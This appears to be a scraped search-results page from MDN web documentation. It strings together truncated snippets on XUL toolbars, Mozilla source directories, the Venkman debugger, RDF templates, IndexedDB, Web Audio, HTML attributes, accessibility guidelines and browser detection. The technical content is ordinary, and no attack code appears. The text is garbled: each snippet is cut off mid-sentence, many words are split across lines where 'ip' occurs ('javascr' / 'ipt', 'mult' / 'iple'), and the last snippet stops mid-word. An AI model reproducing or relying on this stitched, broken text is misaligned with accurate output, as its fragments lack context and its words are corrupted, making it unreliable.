... building dom trees in most cases, dom trees should be built exclusively with dom creation methods. the following methods will all safely create a dom tree without risk of remote execution. ...
...witem = doc.createelement("menuitem"); newitem.setattribute("value", "testvalue"); newitem.setattribute("label", "another popup menu item"); menupopup.appendchild(newitem); }; var jsontemplatebtn = ["xul:toolbarbutton", { id: "mytestbutton", class: "toolbarbutton-1", type: "menu", label: "test button label", toolt
iptext: "test button toolt
ip", removable: true, key: "mytestbutton123" }, [ "menupopup", { onpopupshowing: function(event) { addentrytopopup(this, document, window); } }, null ] ]; var capturednodes = {}; var toolbox = doc.getelementbyid("navigator-toolbox"); var palette = toolbox.palette; var do...
...And 11 more matches
Source code directories overview - Archive of obsolete content
unctionality for the module. base contains all the source code that cannot be categorized into a submodule. build contains any special makefiles for building the particular module. doc contains any documentation associated with this module. idl contains the xpidl (cross platform interface definition language) interface files. interfaces are used so functionality can be available to both javascr
ipt scr
ipts and c code with as little effort as possible. xpidl files have their own mini-language and processing tools. public contains source code that will be exported to the dist/include directory. they are not all necessarily public in the general sense; some are only meant for internal use in a certain module. as more code is written with or converted to xpidl interfaces, the value of the pub...
...l be exported to the dist/include directory. they are not all necessarily public in the general sense; some are only meant for internal use in a certain module. as more code is written with or converted to xpidl interfaces, the value of the public directory diminishes. src contains the bulk of the source code. tests contains c harnesses, html or xul that exercise this module. tools contains scr
ipts for automatically generating certain source code and other special tools for building this module. there are also platform dependent subdirectories which contain source code for specific platforms. windows contains source code for windows 95, windows 98 and windows nt 4.0. mac contains source code for macos: both the powerpc and 68000 versions. gtk contains source code for gtk (a.k.a. t...
...ode for photon, a microkernel windowing system used in several real-time operating systems from qnx software systems ltd. seamonkey seamonkey is the development name for the mozilla browser suite. accessible contains code to support microsoft active accessibility and sun's atk accessibility api for linux. browser contains the code for firefox. this will be covered below. build contains scr
ipts (usually perl) and programs used by the mozilla build team for building and managing the mozilla code base. these programs coordinate the running of makefiles and the creation of the dist directory. calendar contains the code for the various mozilla calendar apps and extensions. caps contains c interfaces and code for determining the capabilities of content based on the security settings and ...
...And 11 more matches
Venkman Internals - Archive of obsolete content
n information. notes on venkman source code. as with any complex application, aspects of the design may not be clear for new readers of the source. these notes are written by such readers: as you learn please correct any errors. questions why can't breakpoints be set on some source lines some of the time? sometimes the source has small ticks in the margin for every executable line in my javascr
ipt. sometimes these ticks are missing on some or all lines of a file. only lines with tick marks seem to break point properly. venkman asks the js engine which lines are executable. it will mark these with a "tick" as you call it. if the file is not currently loaded, the js engine doesn't know anything about the file. you can still set breakpoints, but they will be future breakpoints, which will ...
...eakpoints, but they will be future breakpoints, which will be "real" breakpoints when/if the file is loaded (note that this may never happen!). note also that this is just my knowledge of venkman, which is quite limited. you would be better off asking silver (james ross). gijskruitbosch 05:41, 7 march 2007 (pst) venkman-debugger.js sets hooks in to the jsdidebuggerservice. initdebugger(). scr
iptmanager in initdebugger() the previous loaded scr
ipts are passed to an onscr
iptcreated() method which binds them to a scr
iptmanager. there is one scr
iptmanager per url (web page). this method is set into jsdiscr
ipthook.onscr
iptcreated venkman-views.js views are the panels shown within the venkman window. for example, the "open windows" view shows the browser's windows. venkman-records.js a...
...method which binds them to a scr
iptmanager. there is one scr
iptmanager per url (web page). this method is set into jsdiscr
ipthook.onscr
iptcreated venkman-views.js views are the panels shown within the venkman window. for example, the "open windows" view shows the browser's windows. venkman-records.js a "record" seems to be data underlying a view. for example, framerecord represents a javascr
ipt stack frame. venkman-msg.js localization code, reads venkman.properties from a subdirectory of "locale" and injects variables. things like msg.alert define variables msg_alert. venkman-utils.js defines the dd debug dump and friends windowrecord representation of the open windows. filecontainerrecord - list of scr
ipt tags found in the parent record's window.document property. to obtai...
...And 11 more matches
Bindings - Archive of obsolete content
<< previousnext >> we can add more tr
iples to the previous example to show more information. for example, a descr
iption could be added to a photo. to do this all we need to do is add the necessary data to the rdf datasource and add another <tr
iple> element to the template's statements. <query> <content uri="?start"/> <member container="?start" child="?photo"/> <tr
iple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <tr
iple subject="?photo" predicate="http://purl.org/dc/elements/1.1/descr
iption" object="?descr
iption"/> </query> it works similarly to the previous tr
iple. the ?photo variable is filled in with the known value and then the arc is looked up the datasource, filling in the value for ...
... predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <tr
iple subject="?photo" predicate="http://purl.org/dc/elements/1.1/descr
iption" object="?descr
iption"/> </query> it works similarly to the previous tr
iple. the ?photo variable is filled in with the known value and then the arc is looked up the datasource, filling in the value for the ?descr
iption variable. the ?descr
iption variable would then be used in the action body. let assume though, that we are only going to add a descr
iption to one of the photos in the datasource; the other two photos will not have a descr
iption. ...
...r
iple. the ?photo variable is filled in with the known value and then the arc is looked up the datasource, filling in the value for the ?descr
iption variable. the ?descr
iption variable would then be used in the action body. let assume though, that we are only going to add a descr
iption to one of the photos in the datasource; the other two photos will not have a descr
iption. this may mean the descr
iption is not known, or that it wasn't filled in by the user. <rdf:descr
iption rdf:about="http://www.xulplanet.com/ndeakin/images/t/palace.jpg" dc:title="palace from above"/> dc:descr
iption="view from the top of the tower looking east of the doges palace"/> if you try a full example based on this data, you will notice that only one result has been generated. ...
...And 11 more matches
Adding Event Handlers to XBL-defined Elements - Archive of obsolete content
ts. to define an event handler, use the handler element. each will describe the action taken for a single event handler. you can use more than one handler if necessary. if an event does not match any of the handler events, it is simply passed to the inner content as usual. the general handler syntax is as follows: <binding id="binding-name"> <handlers> <handler event="event-name" action="scr
ipt"/> </handlers> </binding> place all of your handlers within the handlers element. each handler element defines the action taken for a particular event specified by its event attribute. valid event types are those supported by xul and javascr
ipt, such as click and focus. use the event name without the 'on' in front of it. a common reason to set handlers is to modify the custom properties when ...
...e alt key. control the user must press the control key. meta the user must press the meta key. shift the user must press the shift key. accel the user must press the special modifier key that is usually used for keyboard shortcuts on their platform. if set, the handler is only called when the modifier is pressed. ...
...an require mult
iple modifier keys by separating them with spaces. ...
...And 11 more matches
VBArray.toArray - Archive of obsolete content
non-standard. do not use! ...
... non-standard. do not use! ...
... converted from a vbarray. syntax safearray.toarray( ) remarks the required safearray reference is a vbarray object. the conversion translates the multidimensional vbarray into a single dimensional javascr
ipt array. each successive dimension is appended to the end of the previous one. for example, a vbarray with three dimensions and three elements in each dimension is converted into a javascr
ipt array as follows: suppose the vbarray contains: (1, 2, 3), (4, 5, 6), (7, 8, 9). after translation, the javascr
ipt array contains: 1, 2, 3, 4, 5, 6, 7, 8, 9. ...
...And 11 more matches
Anatomy of a video game - Game development
experienced game programmers who are new to web development could also benefit, too. ...
...e, pause, menu interaction, etc.; finally, they calculate an updated scene resulting from that input. the game loop is advanced by the user's input and sleeps until they provide it. this is more of a turn-based approach that doesn't demand a constant update every frame, only when the player reacts. other games demand control over each of the smallest possible individual timeslices. the same princ
iples as above apply with a slight twist: each frame of animation progresses the cycle and any change in user input is caught at the first available turn. this once-per-frame model is implemented in something called a main loop. if your game loops based on time then this will be its authority that your simulations will adhere to. but it might not need per-frame control. your game loop might be simi...
...nted in something called a main loop. if your game loops based on time then this will be its authority that your simulations will adhere to. but it might not need per-frame control. your game loop might be similar to the find the differences example and base itself on input events. it might require both input and simulated time. it might even loop based on something else entirely. ...
...And 11 more matches
2D maze game with device orientation - Game development
example game by the end of the tutorial you will have a fully functional demo game: cyber orb. it will look something like this: phaser framework phaser is a framework for building desktop and mobile html5 games. ...
...rb source code on github. the folder structure is quite straightforward: the starting point is the index.html file where we initialize the framework and set up an <canvas> to render the game on. you can open the index file in your favourite browser to launch the game and try it. there are also three folders in the directory: img: all the images that we will use in the game. src: the javascr
ipt files with all the source code of the game defined inside. audio: the sound files used in the game. setting up the canvas we will be rendering our game on canvas, but we won't do it manually -- this will be taken care of by the framework. let's set it up: our starting point is the index.html file with the following content. you can create this yourself if you want to follow along: <!doctype...
...r game on canvas, but we won't do it manually -- this will be taken care of by the framework. let's set it up: our starting point is the index.html file with the following content. ...
...And 11 more matches
Practical positioning examples - Learn web development
le page apps" are becoming very popular -- especially for mobile web uis -- because having everything served as a single file cuts down on the number of http requests required to view all the content, thereby improving performance. note: some web developers take things even further, only having one page of information loaded at once, and dynamically changing the information shown using a javascr
ipt feature such as xmlhttprequest. at this point in your learning however we want to keep things as simple as possible. there is some javascr
ipt later on, but only a tiny bit. to start with, we'd like you to make a local copy of the starting html file -- info-box-start.html. save this somewhere sensible on your local computer, and open it up in your text editor. let's look at the html contained w...
...this somewhere sensible on your local computer, and open it up in your text editor. let's look at the html contained within the body: <section class="info-box"> <ul> <li><a href="#" class="active">tab 1</a></li> <li><a href="#">tab 2</a></li> <li><a href="#">tab 3</a></li> </ul> <div class="panels"> <article class="active-panel"> <h2>the first tab</h2> <p>lorem
ipsum dolor sit amet, consectetur ad
ipiscing elit. pellentesque turpis nibh, porttitor nec venenatis eu, pulvinar in augue. vestibulum et orci scelerisque, vulputate tellus quis, lobortis dui. vivamus varius libero at
ipsum mattis efficitur ut nec nisl. nullam eget tincidunt metus. donec ultrices, urna maximus consequat aliquet, dui neque eleifend lorem, a auctor libero turpis at sem. aliquam ut por...
...pellentesque turpis nibh, porttitor nec venenatis eu, pulvinar in augue. ...
...And 11 more matches
Advanced text formatting - Learn web development
previous overview: introduction to html next there are many other elements in html for formatting text, which we didn't get to in the html text fundamentals article. the elements described in this article are less known, but still useful to know about (and this is still not a complete list by any means). ...
...ntroduction to html next there are many other elements in html for formatting text, which we didn't get to in the html text fundamentals article. the elements described in this article are less known, but still useful to know about (and this is still not a complete list by any means). here you'll learn about marking up quotations, descr
iption lists, computer code and other related text, subscr
ipt and superscr
ipt, contact information, and more. ...
...uotations, descr
iption lists, computer code and other related text, subscr
ipt and superscr
ipt, contact information, and more. prerequisites: basic html familiarity, as covered in getting started with html. html text formatting, as covered in html text fundamentals. objective: to learn how to use lesser-known html elements to mark up advanced semantic features. descr
iption lists in html text fundamentals, we walked through how to mark up basic lists in html, but we didn't mention the third type of list you'll occasionally come across -- descr
iption lists. the purpose of these lists is to mark up a set of items and their associated descr
iptions, such as terms and definitions, or questions and answers. let's look at an example of a set of terms and definitions: ...
...And 11 more matches
HTML text fundamentals - Learn web development
lowed by <h2> elements to represent sub-subheadings--that doesn't make sense and will lead to weird results. of the six heading levels available, you should aim to use no more than three per page, unless you feel it is necessary. documents with many levels (i.e., a deep heading hierarchy) become unwieldy and difficult to navigate. ...
...age, unless you feel it is necessary. documents with many levels (i.e., a deep heading hierarchy) become unwieldy and difficult to navigate. on such occasions, it is advisable to spread the content over mult
iple pages if possible. why do we need structure? to answer this question, let's take a look at text-start.html--the starting point of our running example for this article (a nice hummus rec
ipe). you should save a copy of this file on your local machine, as you'll need it for the exercises later on. this document's body currently contains mult
iple pieces of content--they aren't marked up in any way, but they are separated with linebreaks (enter/return pressed to go onto the next line). however, when you open the document in your browser, you'll see that the text appears as a big chunk...
...ware provides ways to get fast access to given text content. among the various techniques used, they provide an outline of the document by reading out the headings, allowing their users to find the information they need quickly. if headings are not available, they will be forced to listen to the whole document read out loud. to style content with css, or make it do interesting things with javascr
ipt, you need to have elements wrapping the relevant content, so css/javascr
ipt can effectively target it. we therefore need to give our content structural markup. active learning: giving our content structure let's jump straight in with a live example. in the example below, add elements to the raw text in the input field so that it appears as a heading and two paragraphs in the output field. i...
...And 11 more matches
IME handling guide
ned on". "closed" is also called "inactive" or "turned off") so, this document is useful when you're try to fix a bug for text input in gecko. composition string and clauses typical japanese ime can input two or more words into a composition string. when a user converts from hiragana characters to chinese characters the composition string, japanese ime separates the composition string into mult
iple clauses. for example, if a user types "watasinonamaehanakanodesu", it's converted to hiragana characters, "?????????????", automatically (in the following screenshots, the composition string has a wavy underline and the only one clause is called "raw input clause"). when a user presses convert key, japanese ime separates the composition string as "????" (my), "????" (name is) and "?????" (...
...hoose one of the clauses with arrow keys and look for the expected result form the list in the drop down menu (in the following screenshot, the clause with the thicker underline is called "selected clause"). basically, composition string and each clause style is rendered by gecko. and the drop down menu is created by ime. each clause is represented with selection in the editor. from chrome scr
ipt, you can check it with nsiselectioncontroller. in native code, you can access it with either nsiselectioncontroller or mozilla::selectiontype (the latter is recommended because of type safer). and editor sets these ime selections from mozilla::textrangetype which are sent by mozilla::widgetcompositionevent as mozilla::textrangearray. following table explains the mapping between them. selectio...
... modules handling ime composition widget each widget handles native ime events and dispatches widgetcompositionevent with mozilla::widget::texteventdispatcher to represent the behavior of ime in the focused editor. this is the only module that depends on the users platform. see also native ime ha...
...And 11 more matches
CustomizableUI.jsm
it is available in the firefox window as the customizableui property on the window. if you want to use it from a jsm or another context without a window reference, you need to import it yourself: components.utils.import("resource:///modules/customizableui.jsm"); introduction the module is intended for two primary purposes: allow adding, moving and removing customizable widgets. manage the areas in which these widgets are shown. ...
...n a panel accessible from an anchor (chevron) in the toolbar. in order to register such a toolbar, set the 'overflowable' property to true, and provide the id of the anchor in the 'anchor' property. widgets widget is the term that customizableui uses for each of the items in a customizable area. note that these are also abstract cross-window objects; customizableui will manage the actual dom man
ipulation involved with adding/moving/removing widgets in all windows for you. there are three main types of widgets: 'legacy' xul widgets, which are the way customizableui represents widgets whose dom representation is present (or overlaid) into a window; api-style widgets, which are the new widgets customizableui can create and manage for you. these come in 3 types themselves: button ...
...tener added with addlistener. parameters alistener the listener object to remove registerarea() register a customizable area with customizableui. parameters aareaid the name of the area to register. can only contain alphanumeric characters, dashes (-) and underscores (_). aproperties the properties of the area. the following properties are recognized: property descr
iption type the type of area. either type_toolbar (default) or type_menu_panel. anchor for a menu panel or overflowable toolbar, the anchoring node for the panel. legacy set to true if you want customizableui to automatically migrate the currentset attribute. overflowable set to true if your toolbar is overflowable. this requires an anc...
...And 11 more matches
XPCOMUtils.jsm
the xpcomutils.jsm javascr
ipt code module offers utility routines for javascr
ipt components loaded by the javascr
ipt component loader. to use this, you first need to import the code module into your javascr
ipt scope: components.utils.import("resource://gre/modules/xpcomutils.jsm"); using xpcomutils exposing a javascr
ipt class as a component using these utility methods requires four key steps: import xpcomutils.jsm, as explained previously. declare the class (or mult
iple classes) implementing the component(s). create an array of component constructors. define the nsgetfactory() or nsgetmodule() entry point. pseudocode this section provides some pseudocode that demonstrates how to put together a javascr
ipt class based on the steps listed above. constructor the construct...
...if not // provided, the default factory is used, which returns // |(new mycomponent()).queryinterface(iid)| in its createinstance(). ...
...if not // provided, the default factory is used, which returns // |(new mycomponent()).queryinterface(iid)| in its createinstance(). _xpcom_factory: { ... ...
...And 11 more matches
Investigating leaks using DMD heap scan mode
non-optimized dmd builds will generate better stack traces, but they can be so slow as to be useless. the build is going to be very slow, so you may need to disable some shutdown checks. first, in toolkit/components/terminator/nsterminator.cpp, delete everything in runwatchdog but the call to ns_setcurrentthreadname. this will keep the watch dog from killing the browser when shut down takes mult
iple minutes. secondly, you may need to comment out the call to moz_crash("nss_shutdown failed"); in xpcom/build/xpcominit.cpp, as this also seems to trigger when shutdown is extremely slow. you need the cycle collector analysis scr
ipt find_roots.py, which can be downloaded as part of this repo on github. generating logs the next step is to generate a number of log files. you need to get a shutd...
...own faster. the allowed values here are the same as those returned by xre_getprocesstype(), so adjust as needed. finally, the --dmd option need to be passed in so that dmd will be run. --mode=scan is needed so that when we get a dmd log the entire contents of each block of memory is saved for later analysis. with that command line in hand, you can start firefox. be aware that this may take mult
iple minutes if you have optimization disabled. once it has started, go through the steps you need to reproduce your leak. if your leak is a ghost window, it can be handy to get an about:memory report and write down the pid of the leaking process. you may want to wait 10 or so seconds after this to make sure as much as possible is cleaned up. next, exit the browser. this will cause a lot of logs t...
... inner https://www.example.com/ * cc-edges.15873.log: the first part is the file name where it was found. 15873 is the pid of the process that leaked. you'll want to write down the name of the file and the pid. let's call the file $cclog and the pid $pid. * 0x7f0897082c00: this is the address of the leaking window. you'll also want to write that down. let's call this $winaddr. if there are mult
iple files, you'll end up with one that looks like cc-edges.$pid.log and one or more that look like cc-edges.$pid-$n.log for various values of $n. you want the one with the largest $n, as this was recorded the latest, and so it will contain the least non-garbage. identifying the root in the cycle collector log the next step is to figure out why the cycle collector could not collect the window, usi...
...And 11 more matches
Using IndexedDB - Web APIs
somewhere else before upgrading the database.) trying to create an object store with a name that already exists (or trying to delete an object store with a name that does not already exist) will throw an error. if the onupgradeneeded event exits successfully, the onsuccess handler of the open database request will then be triggered. blink/webkit supports the current version of the spec, as sh
ipped in chrome 23+ and opera 17+; ie10+ does too. other and older implementations don't implement the current version of the spec, and thus do not support the indexeddb.open(name, version).onupgradeneeded signature yet. for more information on how to upgrade the version of the database in older webkit/blink, see the idbdatabase reference article. structuring the database now to structure the data...
... database can contain any number of object stores. whenever a value is stored in an object store, it is associated with a key. there are several different ways that a key can be supplied depending on whether the object store uses a key path or a key generator. the following table shows the different ways the keys are supplied: key path (keypath) key generator (autoincrement) descr
iption no no this object store can hold any kind of value, even primitive values like numbers and strings. you must supply a separate key argument whenever you want to add a new value. yes no this object store can only hold javascr
ipt objects. the objects must have a property with the same name as the key path. no yes this object store can hold any ki...
...usually a key is generated and the value of the generated key is stored in the object in a property with the same name as the key path. however, if such a property already exists, the value of that property is used as key rather than generating a new key. ...
...And 11 more matches
Background audio processing using AudioWorklet - Web APIs
when the web audio api was first introduced to browsers, it included the ability to use javascr
ipt code to create custom audio processors that would be invoked to perform real-time audio man
ipulations. the drawback to scr
iptprocessornode was simple: it ran on the main thread, thus blocking everything else going on until it completed execution. this was far less than ideal, especially for something that can be as computationally expensive as audio processing. enter audioworklet. an audio context's audio worklet is a worklet which runs off the main thread, executing audio processing code added to it by calling the context's audioworklet.addmodule() method. calling addmodule() loads the specified javascr
ipt file, which should contain the implementation of the audio processor. with the process...
...le() method. calling addmodule() loads the specified javascr
ipt file, which should contain the implementation of the audio processor. with the processor registered, you can create a new audioworkletnode which passes the audio through the processor's code when the node is linked into the chain of audio nodes along with any other audio nodes. the process of creating an audio processor using javascr
ipt, establishing it as an audio worklet processor, and then using that processor within a web audio application is the topic of this article. it's worth noting that because audio processing can often involve substantial computation, your processor may benefit greatly from being built using webassembly, which brings near-native or fully native performance to web apps. implementing your audio proces...
...stall the audio worklet processor module. as needed, create audio processing nodes by passing the processor's name (which is defined by the module) to the audioworkletnode() constructor. set up any audio parameters the audioworkletnode needs, or that you wish to configure. these are defined in the audio worklet processor module. connect the created audioworkletnodes into your audio processing p
ipeline as you would any other node, then use your audio p
ipeline as usual. throughout the remainder of this article, we'll look at these steps in more detail, with examples (including working examples you can try out on your own). the example code found on this page is derived from this working example which is available on glitch. the example creates an oscillator node and adds white noise to i...
...And 11 more matches
Web Audio API - Web APIs
ode) and audio streams (mediastreamaudiosourcenode). in fact, sound files are just recordings of sound intensities themselves, which come in from microphones or electric instruments, and get mixed down into a single, complicated wave. outputs of these nodes could be linked to inputs of others, which mix or modify these streams of sound samples into different streams. a common modification is mult
iplying the samples by a value to make them louder or quieter (as is the case with gainnode). once the sound has been sufficiently processed for the intended effect, it can be linked to the input of a destination (audiocontext.destination), which sends the sound to the speakers or headphones. this last connection is only necessary if the user is supposed to hear the audio. a simple, typical workflo...
... web audio api interfaces the web audio api has a number of interfaces and associated events, which we have split up into nine categories of functionality. general audio graph definition general containers and definitions that shape audio graphs in web audio api usage. audio...
...ou can go ahead and start building things with the advance tutorial and others as a guide (the above linked tutorial covers scheduling notes, creating bespoke oscillators and envelopes, as well as an lfo among other things.) if you aren't familiar with the programming basics, you might want to consult some beginner's javascr
ipt tutorials first and then come back here -- see our beginner's javascr
ipt learning module for a great place to begin. web audio api interfaces the web audio api has a number of interfaces and associated events, which we have split up into nine categories of functionality. general audio graph definition general containers and definitions that shape audio graphs in web audio api usage. audiocontext the audiocontext interface represents an audio-processing graph ...
...And 11 more matches
Web APIs
specifications this is a list of all the apis that are available. ...
...media extensionsffetch apifile system api frame timing apifullscreen apiggamepad api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbintersection observer apillong tasks api mmedia capabilities api media capture and streamsmedia session apimedia source extensions mediastream recordingnnavigation timingnetwork information api ppage visibility ap
ipayment request ap
iperformance ap
iperformance timeline ap
ipermissions ap
ipointer eventspointer lock ap
iproximity events push api rresize observer apiresource timing apisserver sent eventsservice workers apistoragestorage access apistreams ttouch eventsuurl apivvibration apivisual viewport wweb animationsweb audio apiweb authentication apiweb crypto apiweb notificationsweb storage apiweb workers...
...s aescbcparams aesctrparams aesgcmparams aeskeygenparams ambientlightsensor analysernode animation animationeffect animationevent animationplaybackevent animationtimeline arraybufferview attr audiobuffer audiobuffersourcenode audioconfiguration audiocontext audiocontextlatencycategory audiocontextoptions audiodestinationnode audiolistener audionode audionodeoptions audioparam audioparamdescr
iptor audioparammap audioprocessingevent audioscheduledsourcenode audiotrack audiotracklist audioworklet audioworkletglobalscope audioworkletnode audioworkletnodeoptions audioworkletprocessor authenticatorassertionresponse authenticatorattestationresponse authenticatorresponse b baseaudiocontext basiccardrequest basiccardresponse batterymanager beforeinstallpromptevent beforeunloadevent...
...And 11 more matches
Operable - Accessibility
this article provides practical advice on how to write your web content so that it conforms to the success criteria outlined in the operable princ
iple of the web content accessibility guidelines (wcag) 2.0 and 2.1. operable states that user interface components and navigation must be operable. note: to read the w3c definitions for operable and its guidelines and success criteria, see princ
iple 2: operable -- user interface components and navigation must be operable. guideline 2.1 -- keyboard accessible: make all functionality available from a keyboard this guideline covers the necessity of making core website functionality available via a keyboard in addition to other means (e.g. mouse), so that users that rely on keyboard controls can access them. success criteria ...
...d building keyboard accessibility back in 2.1.4 character key shortcuts (a) added in 2.1 if a single character key shortcut exists, then at least one of the following is true: single character key shortcuts can be turned off, remapped or are only active when the relevant user interface component is in focus. understanding character key shortcuts note: also see the wcag descr
iption for guideline 2.1 keyboard accessible: make all functionality available from a keyboard. guideline 2.2 -- enough time: provide users enough time to read and use content this guideline covers situations in which functionality may have a time limit. for example, purchases sometimes need to be completed within a time limit for security reasons. success criteria how to conform to ...
...rm to the criteria practical resource 2.2.1 timing is adjustable (a) for functionality with time limits (e.g. completing a hotel or flight booking often has a time limit), the user should be given controls to allow them to adjust, extend or turn off the time limit. exceptions to this are activities with time limits longer than 20 hours, real time events (e.g. live mult
iplayer games), and any other activity that requires a time limit and would be invalidated if it were turned off. 2.2.2 pausing, stopping, hiding (a) for moving/blinking content that starts automatically, lasts longer than 5 seconds, and is shown alongside other content, controls should be provided to pause, stop, or hide it. this does not apply to moving/blinking content th...
...And 11 more matches
Making content editable - Developer guides
this article provides some information about this functionality. note: in firefox 63 beta/dev edition, some of the rich-text editing features have been disabled by default, for better cross-browser compatibility. these are object resizing on <img>, <table>, and absolutely-positioned elements; inline table editing to add or remove rows and columns; and the grabber that allows moving of absolutely-positioned elements. see bug 1449564 and firefox-specific html editing ui has been deprecated for additional details. ...
...any html element to make it editable. here's a simple example which creates a <div> element whose contents the user can edit. <div contenteditable="true"> this text can be edited by the user. </div> here's the above html in action: executing commands when an html element has contenteditable set to true, the document.execcommand() method is made available. this lets you run commands to man
ipulate the contents of the editable region. most commands affect the document's selection by, for example, applying a style to the text (bold, italics, etc), while others insert new elements (like adding a link) or affect an entire line (indenting). when using contenteditable, calling execcommand() will affect the currently active editable element. differences in markup generation use of contente...
...argument, br, for defaultparagraphseparator since firefox 55. this is useful if your web application expects the older firefox behavior, and you don't want to or don't have the time to update it to use the new behavior. ...
...And 11 more matches
HTML attribute: rel - HTML: Hypertext Markup Language
the rel attribute defines the relationsh
ip between a linked resource and the current document. valid on <link>, <a>, <area>, and <form>, the supported values depend on the element on which the attribute is found. the type of relationsh
ips is given by the value of the rel attribute, which, if present, must have a value that is an unordered set of unique space-separated keywords, which are listed in the following table. every keyword within a space seperated value should be unique within that value. values for the rel attribute, and the elements for which each is relevant rel value descr
iption <link> <a> and <area> <form> alternate alternate representations of the current document. link link not allowed author author of the curren...
...ting the current document. external resource not allowed not allowed license indicates that the main content of the current document is covered by the copyright license described by the referenced document. link link link manifest web app manifest link not allowed not allowed modulepreload tells to browser to preemptively fetch the scr
ipt and store it in the document's module map for later evaluation. optionally, the module's dependencies can be fetched as well. external resource not allowed not allowed next indicates that the current document is a part of a series, and that the next document in the series is the referenced document. link link link nofollow indicates that the current docu...
...llowed the rel attribute is relevant to the <link>, <a>, <area>, and <form> elements, but some values only relevant to a subset of those elements. like all html keyword attribute values, these values are case-insenstive. the rel attribute has no default value. if the attribute is omitted or if none of the values in the attribute are supported, then the document has no particular relationsh
ip with the destination resource other than there being a hyperlink between the two. in this case, on <link> and <form>, if the rel attribute is absent, has no keywords, or if not one or more of the space-separated keywords above, then the element does not create any links. <a> and <area> will still created links, but without a defined relationsh
ip. like all html keyword attribute values, these val...
...And 11 more matches
HTML attribute reference - HTML: Hypertext Markup Language
accept-charset <form> list of supported charsets. accesskey global attribute keyboard shortcut to activate or add focus to the element. ...
...the form. align <applet>, <caption>, <col>, <colgroup>, <hr>, <iframe>, <img>, <table>, <tbody>, <td>, <tfoot> , <th>, <thead>, <tr> specifies the horizontal alignment of the element. allow <iframe> specifies a feature-policy for the iframe. alt <applet>, <area>, <img>, <input> alternative text in case an image can't be displayed. async <scr
ipt> executes the scr
ipt asynchronously. autocapitalize global attribute sets whether input is automatically capitalized when entered by user autocomplete <form>, <input>, <select>, <textarea> indicates whether controls in this form can by default have their values automatically completed by the browser. autofocus <button>, <input>, <keygen>, <select>, <t...
...y instead. buffered <audio>, <video> contains the time range of already buffered media. capture <input> from the html media capturethe definition of 'media capture' in that specification.spec, specifies a new file can be captured. challenge <keygen> a challenge string that is submitted along with the public key. charset <meta>, <scr
ipt> declares the character encoding of the page or scr
ipt. checked <command>, <input> indicates whether the element should be checked on page load. cite <blockquote>, <del>, <ins>, <q> contains a uri which points to the source of the quote or change. class global attribute often used with css to style elements with common properties. code ...
...And 11 more matches
<link>: The External Resource Link element - HTML: Hypertext Markup Language
this element is most commonly used to link to stylesheets, but is also used to establish site icons (both "favicon" style icons and icons for the home screen and apps on mobile devices) among other things. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
... examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. to link an external stylesheet, you'd include a <link> element inside your <head> like this: <link href="main.css" rel="stylesheet"> this simple example provides the path to the stylesheet inside an href attribute, and a rel attribute with a value of stylesheet. the rel stands for "relationsh
ip", and is probably one of the key features of the <link> element -- the value denotes how the item being linked to is related to the containing document. as you'll see from our link types reference, there are many different kinds of relationsh
ip. there are a number of other common types you'll come across. for example, a link to the site's favicon: <link rel="icon" href="favicon.ico"> there are...
... elements embed <embed> elements fetch fetch, xhr this value also requires <link> to contain the crossorigin attribute. font css @font-face image <img> and <picture> elements with srcset or imageset attributes, svg <image> elements, css *-image rules object <object> elements scr
ipt <scr
ipt> elements, worker importscr
ipts style <link rel=stylesheet> elements, css @import track <track> elements video <video> elements worker worker, sharedworker crossorigin this enumerated attribute indicates whether cors must be used when fetching the resource. cors-enabled images can be reused in the <canvas> e...
...And 11 more matches
<select>: The HTML Select element - HTML: Hypertext Markup Language
a value attribute containing the data value to submit to the server when that option is selected. if no value attribute is included, the value defaults to the text contained inside the element. you can include a selected attribute on an <option> element to make it selected by default when the page first loads. the <select> element has some unique attributes you can use to control it, such as mult
iple to specify whether mult
iple options can be selected, and size to specify how many options should be shown at once. it also accepts most of the general form input attributes such as required, disabled, autofocus, etc. you can further nest <option> elements inside <optgroup> elements to create separate groups of options inside the dropdown. for further examples, see the native form widgets: dro...
...nt to associate the <select> with (its form owner). the value of this attribute must be the id of a <form> in the same document. (if this attribute is not set, the <select> is associated with its ancestor <form> element, if any.) this attribute lets you associate <select> elements to <form>s anywhere in the document, not just inside a <form>. it can also override an ancestor <form> element. mult
iple this boolean attribute indicates that mult
iple options can be selected in the list. if it is not specified, then only one option can be selected at a time. when mult
iple is specified, most browsers will show a scrolling list box instead of a single line dropdown. name this attribute is used to specify the name of the control. required a boolean attribute indicating that an option with a no...
...browsers are not required to present a select element as a scrolled list box. the default value is 0. ...
...And 11 more matches
<tr>: The Table Row element - HTML: Hypertext Markup Language
ment for the row's cells. to apply character-based alignment, set the css text-align property to the alignment character (such as "." or ","). bgcolorobsolete since html5 a domstring specifying a color to apply to the backgrounds of each of the row's cells. this can be either an hexadecimal #rrggbb or #rgb value or a color keyword. omitting the attribute or setting it to null in javascr
ipt causes the row's cells to inherit the row's parent element's background color. the <tr> element should be styled using css. to give a similar effect as the bgcolor attribute, use the css property background-color. charobsolete since html5 a domstring which sets the character to align the cells in each of the row's columns on (each row's centering that uses the same character gets ...
...s text is vertically centered. top each cell's text is drawn as closely as possible to the top edge of the containing cell. don't use the obsolete valign attribute. instead, add the css vertical-align property to the row. examples see <table> for examples on <tr>. basic example this simple example shows a table listing people's names along with various information about membersh
ip in a club or service. html this html demonstrates the most basic structure of a table. there are no groups, no cells that span mult
iple rows or columns, no captions, and only the most basic styling to create lines around the components of the table for something resembling clarity. there are just four rows (including one header row), each with four columns (including one header column). not ev...
... css this simple css just adds a solid black border around the table and around each of its cells, including those specified using both <th> and <td>. that way, both header and data cells are easily demarcated. ...
...And 11 more matches
Browser detection using the user agent - HTTP
tween browsers, instead of checking the user agent string, you should instead implement a test to detect how the browser implements the api and determine how to use it from that. an example of feature detection is as follows. in 2017, chrome unflagged experimental lookbehind support in regular expressions, but no other browser supported it. ...
...ted it. so, you might have thought to do this: // this code sn
ippet splits a string in a special notation if (navigator.useragent.indexof("chrome") !== -1){ // yes! the user is suspected to support look-behind regexps // do not use /(?<=[a-z])/. it will cause a syntax error in // browsers that do not support look-behind expressions // because all browsers parse the entire scr
